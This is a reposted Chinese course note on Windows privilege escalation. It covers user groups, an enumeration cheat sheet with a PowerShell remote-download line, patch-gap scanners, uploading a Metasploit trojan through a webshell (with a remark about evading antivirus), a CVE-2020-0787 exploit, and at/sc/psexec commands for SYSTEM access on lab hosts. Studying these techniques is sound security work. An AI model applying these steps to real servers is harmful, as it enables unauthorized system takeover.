59:權限提升-Win溢出漏洞及AT&SC&PS提權


思維導圖

明確權限提升基礎知識:權限划分

明確權限提升環境問題:web及本地

  • web提權:已有網站權限(可以操作網站內容,但無法操作服務器),想要獲得服務器權限,進而操作服務器。
  • 本地提權:已有服務器普通用戶權限,想要獲得root權限。

明確權限提升方法針對:針對方法適應問題

明確權限提升針對版本:個人及服務器版本;針對方法;

知識點必備:

  • 用戶及用戶組權限划分;Windows提權命令

 

windows權限認識(用戶及用戶組)

Windows系統內置了許多本地用戶組,這些用戶組本身都已經被賦予一些權限(permissions),它們具有管理本地計算機或訪問本地資源的權限。只要用戶賬戶加入到這些本地組內,這些用戶賬戶也將具備該組所擁有的權限。

0x01 普通權限

默認情況下,系統為用戶分了7個組,並給每個組賦予不同的操作權限,管理員組(Administrators)、高權限用戶組(Power Users)、普通用戶組(Users)、備份操作組(Backup Operators)、文件復制組(Replicator)、來賓用戶組(Guests),身份驗證用戶組(Ahthenticated users)。其中備份操作組和文件復制組為維護系統而設置,平時不會被使用。

管理員組擁有大部分的計算機操作權限(並不是全部),能夠隨意修改刪除所有文件和修改系統設置只有程序信任組(特殊權限)。再往下就是高權限用戶組,這一部分用戶也能做大部分事情,但是不能修改系統設置,不能運行一些涉及系統管理的程序。普通用戶組則被系統拴在了自己的地盤里,不能處理其他用戶的文件和運行涉及管理的程序等。來賓用戶組的文件操作權限和普通用戶組一樣,但是無法執行更多的程序。身份驗證用戶組(Ahthenticated users) 經過ms驗證程序登錄的用戶均屬於此組。  

0x02特殊權限

  除了上面提到的7個默認權限分組,系統還存在一些特殊權限成員,這些成員是為了特殊用途而設置,分別是:SYSTEM(系統)、Trustedinstaller(信任程序模塊)、Everyone(所有人)、CREATOR OWNER(創建者) 等,這些特殊成員不被任何內置用戶組吸納,屬於完全獨立出來的賬戶。
  真正擁有“完全訪問權”的只有一個成員:SYSTEM。這個成員是系統產生的,真正擁有整台計算機管理權限的賬戶,一般的操作是無法獲取與它等價的權限的。
  “所有人”權限與普通用戶組權限差不多,它的存在是為了讓用戶能訪問被標記為“公有”的文件,這也是一些程序正常運行需要的訪問權限——任何人都能正常訪問被賦予“Everyone”權限的文件,包括來賓組成員。
  被標記為“創建者”權限的文件只有建立文件的那個用戶才能訪問,做到了一定程度的隱私保護。
  但是,所有的文件訪問權限均可以被管理員組用戶和SYSTEM成員忽略,除非用戶使用了NTFS加密。
  無論是普通權限還是特殊權限,它們都可以“疊加”使用,“疊加”就是指多個權限共同使用,例如一個賬戶原本屬於Users組,而后我們把他加入Administrators組再加入Trustedinstaller等權限提升,那么現在這個賬戶便同時擁有兩個或多個權限身份,而不是用管理員權限去覆蓋原來身份。權限疊加並不是沒有意義的,在一些需要特定身份訪問的場合,用戶只有為自己設置了指定的身份才能訪問,這個時候“疊加”的使用就能減輕一部分勞動量了。

參考:https://blog.csdn.net/qq_17204441/article/details/89063095

 

Windows提權命令:

命令   						//描述
systeminfo          //打印系統信息
whoami              //獲得當前用戶名
whoami /priv          //當前賬戶權限
ipconfig               //網絡配置信息
ipconfig /displaydns        //顯示DNS緩存
route print                 //打印出路由表
arp -a                      //打印arp表
hostname                    //主機名
net user                    //列出用戶
net user UserName           //關於用戶的信息
net user \SMBPATH Pa$$w0rd /u:UserName      //連接SMB
net localgroup              //列出所有組
net localgroup GROUP        //關於指定組的信息
net view \127.0.0.1         //會話打開到當前計算機
net session                 //開發給其他機器
netsh firewall show config  //顯示防火牆配置
DRIVERQUERY               //列出安裝的驅動
tasklist /svc               //列出服務任務
net start                   //列出啟動的服務
dir /s foo                  //在目錄中搜索包含指定字符的項
dir /s foo == bar           //同上
sc query                    //列出所有服務
sc qc ServiceName           //找到指定服務的路徑
shutdown /r /t 0            //立即重啟
type file.txt               //打印出內容
icacls "C:\Example"         //列出權限
wmic qfe get Caption,Description,HotFixID,InstalledOn  //列出已安裝的補丁
(New-Object System.Net.WebClient) .DownloadFile("http://host/file"."C:\LocalPath") //利用ps遠程下載文件到本地
accesschk.exe -qwsu "Group"         //修改對象(嘗試Everyone,Authenticated Users和/或Users)

 

案例1:基於Web環境下的權限提升-阿里雲靶機(Windows2012)

知識點:

  • 如何判斷使用哪種溢出漏洞?漏洞哪里找?
  • 信息收集-補丁篩選-利用MSF或特定EXP-執行-西瓜到手
  • Vulmap,Wes,WindowsVulnScan對比,exp在哪里獲取?
  • MSF結合雲服務器搭建組合拳?模擬上述操作實戰演練?

1、信息收集

可以采用一些cmd命令,收集系統信息。比如

  • whoami:獲得當前用戶名
  • whoami /priv:當前賬戶權限
  • systeminfo:查看系統打了哪些補丁
  • net user:列出用戶
  • net user UserName:查看關於用戶的信息
  • net localgroup:列出所有組
  • 等等

2、補丁篩選

Vulmap,Wes,WindowsVulnScan三種方法對比:

方法1:Vulmap

下載地址:https://github.com/vulmon/Vulmap

Vulmap是開源的在線本地漏洞掃描器項目。Vulmap需要在PS窗口運行,因此它只適用本地環境,不適用web環境。適用於 Windows 和 Linux 操作系統漏洞。但是它對Windows系統不太友好,更適配Linux系統。比如,下面在阿里雲服務器測試,未檢測出漏洞。

方法2:WES-NG

下載地址:https://github.com/bitsadmin/wesng

WES-NG是一種基於 Windows systeminfo 實用程序輸出的工具,它提供操作系統易受攻擊的漏洞列表,包括對這些漏洞的任何利用。適用於 Windows 操作系統。

wes.py 既適用本地環境,也適用web環境。因為它只需要我們在目標服務器執行systeminfo > 1.txt命令,拿到系統信息(主要是補丁信息)即可,然后我們可以把信息保存在 1.txt文件中,在本機運行wes.py進行測試即可。

下面命令會把漏洞詳情保存在vuln.csv文件。

目標服務器執行命令:systeminfo > 1.txt
本機執行命令:python wes.py 1.txt -o vuln.csv

打開 vuln.csv查看詳情

方法3:WindowsVulnScan

地址:https://github.com/chroblert/WindowsVulnScan

WindowsVulnScan根據軟件的名稱和版本號來確定是否有 CVE 和公開的 EXP。適用於 Windows 操作系統。

WindowsVulnScan 前期收集補丁信息時也需要在PS窗口運行,因此只適用於本地環境。但是我們也可以對其進行一些小的修改,讓它可以用於web環境。所以也可以說它是一個通用方法。

比如第一步運行KBCollect.ps1收集補丁信息,會自動創建KB.json文件。

打開KB.json文件,我們看到其實這就是一些補丁信息,我們可以直接用systeminfo命令代替,然后將收集到的信息按照KB.json格式重新排列一下即可。

然后運行如下命令得到exp信息。

python cve-check.py -C -f KB.json

3、利用MSF或特定EXP提權

利用上述3種方法之一找出可利用的漏洞之后,我們可以利用msf或者特定exp進行測試。

首選msf工具,但是msf工具是隔一段時間更新一版,因此msf中的漏洞可能更新不及時,如果遇到了msf沒有收錄的漏洞,我們可以網上搜索特定的exp測試,比如GitHub上有人整理了很多exp,可以搜索一下。

MSF結合雲服務器搭建組合拳?模擬上述操作實戰演練?

  • 若要在實戰中使用msf,最好買台服務器,不需要配置太好,2核4G即可,linux操作系統(Ubuntu更兼容),只安裝msf,使用時用xshell連接即可。
  • 雲服務器上安裝MSF環境:https://www.cnblogs.com/M0rta1s/p/11920903.html

msf提權演示案例:

 <1>生成一個木馬 exe文件

0

<2>通過webshell上傳這個test.exe文件到服務器(test.exe可能會被服務器上的waf識別,所以實戰中需要免殺)

0

<3>啟動msf

0

<4>msf監聽5566端口

0

<5>通過webshell執行這個test.exe文件

0

<6>監聽到會話,如上上圖所示(注意:阿里雲服務器安全組默認沒有開5566端口,所以我們需要手動打開)

<7>查看,拿到服務器的web權限

0

<8>接下來,我們需要進行web提權,搜索一個2016年的exp

0

<9>使用這個exp

0

<10>show options

0

<11>修改設置

0

<12>重新show options,顯示修改成功

0

<13>繼續修改設置,利用,成功獲取到system權限,提權成功。

 0

案例2:基於本地環境下的權限提升-系統溢出漏洞

使用特定EXP演示案例:

<1>whoami查看用戶身份為普通用戶

0

<2>利用CVE-2020-0787本地提權漏洞,在目標服務器執行BitsArbitraryFileMoveExploit.exe文件

0

<3>彈出cmd窗口,運行whoami,發現已經取得了system權限

0

案例3:基於本地環境下的權限提升-AT&SC&PS命令

AT&SC&PS命令適用環境?-->AT&SC&PS提權在內網使用比較多

1、AT提權

相關命令:

at 21:26 /interactive cmd.exe //給系統添加一項作業,在21:26打開cmd命令
at	//查看作業詳情
at /del	//刪除作業

只針對win7之前的老系統,下面我們在windows2003系統上測試

<1>使用at命令給系統添加一項作業,在特定時間打開cmd命令

0

<2>等到特定時間時,系統會彈出cmd窗口,運行whoami,發現已經取得了system權限,提權成功。

0

這是windows2003系統設計上的一個邏輯錯誤,就是計划任務在運行時會以system身份調用執行。所以彈出來的cmd窗口界面就會享有system權限。

2、SC提權

相關命令:

sc Create syscmd binPath = "cmd /k start" type= own type= interact
sc start syscmd

網上說,可以針對win7/2k8,但是實操時並沒成功。下面我們在windows2003系統上測試

<1>首先whoami查看用戶身份為管理員

<2>使用sc命令創建一個服務,啟動這個服務

<3>彈出cmd窗口,運行whoami,發現已經取得了system權限,提權成功。

0

3、PS提權

pstools是微軟官方工具,是為windows提供的第三方工具庫

下載地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools

相關命令:

psexec.exe -accepteula -s -i -d cmd.exe

windows2008系統測試

<1>執行PS命令會彈出一個新的cmd窗口

0

<2>運行whoami,發現已經取得了system權限,提權成功。

0

案例給到的思路總結如下:

1.提權方法有部分適用在不同環境,當然也有通用方法
2.提權方法也有操作系統版本區別,特性決定方法利用面
3.提權方法有部分需要特定環境,如數據庫,第三方提權等

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM